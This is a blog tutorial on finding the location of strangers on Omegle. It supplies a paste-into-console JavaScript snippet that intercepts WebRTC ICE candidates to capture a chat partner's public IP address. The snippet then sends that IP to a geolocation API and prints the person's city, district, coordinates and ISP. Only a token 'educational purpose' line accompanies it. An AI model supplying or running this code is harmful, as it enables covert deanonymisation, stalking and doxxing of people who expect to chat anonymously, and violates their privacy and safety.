How to get address/location of a random person on omegle?



In this article, you’ll learn how to find a person’s address and location on Omegle, using a simple JavaScript code.

Omegle is a popular site on the web to meet strangers online and video chat with them. Ever wondered how those YouTubers accurately guess those strangers’ locations whom they chat with?

Well, in this article I am going to share the exact JavaScript code that you can run on your browser console and fetch the user’s IP Geolocation, whom you chat with on Omegle.

JS Code to Find Location of An Omegle User

Afraid after listening the word code? Well don't afraid read the following steps and just copy paste the code which I have provided below. Believe me it's too much easy.

(1): Signup on ipgeolocation- You need an API that can give the address based on the IP address. Go to https://ipgeolocation.io/, free signup, get the key, and replace in below code at YOURKEY in URL.



(2): Open omegle- Goto https://www.omegle.com/, open developer options or inspect element option, paste the code into the console. You will the address of each person connected. Right click for inspect element option. Don't use Microsoft Edge browser while the process because sometimes it's not work in Microsoft Edge. I recommend you use chrome browser.




"Copy the code given below"

window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function(...args){
    const pc = new window.oRTCPeerConnection(...args);
    pc.oaddIceCandidate = pc.addIceCandidate;
    pc.addIceCandidate = function(iceCandidate, ...rest){
        const fields = iceCandidate.candidate.split(" ");
        console.log(iceCandidate.candidate);
        const ip = fields[4];
        if (fields[7]==="srflx"){
            getlocation(ip);
        }
        return pc.oaddIceCandidate(iceCandidate, ...rest);
    };
    return pc;
}


const getlocation = async(ip) =>{
    let url = `https://api.ipgeolocation.io/ipgeo?apiKey=YOURKEY&ip=${ip}`;
    await fetch(url).then((response)=>
    response.json().then((json) => {

        

        const output = `
        .............................
        Country: ${json.country_name}
        State: ${json.state_prov}
        City: ${json.city}
        District: ${json.district}
        LAT/LONG: (${json.latitude} , ${json.longitude})
        provider: ${json.isp}
        ..................................`;
    
    console.log(output);

})
);
};


"Must replace Your API KEY which you have copied from ipGeolocation In URL to the place of YOURKEY"


Note- This is only for Educational Purpose. Don't misuse it.

Hope you like my efforts👍👍



Have a query? Don't' worry just comment below I'm always there to resolve your query. 😊😊







Post a Comment

PLEASE GIVE US YOUR VALUABLE FEEDBACK

Previous Post Next Post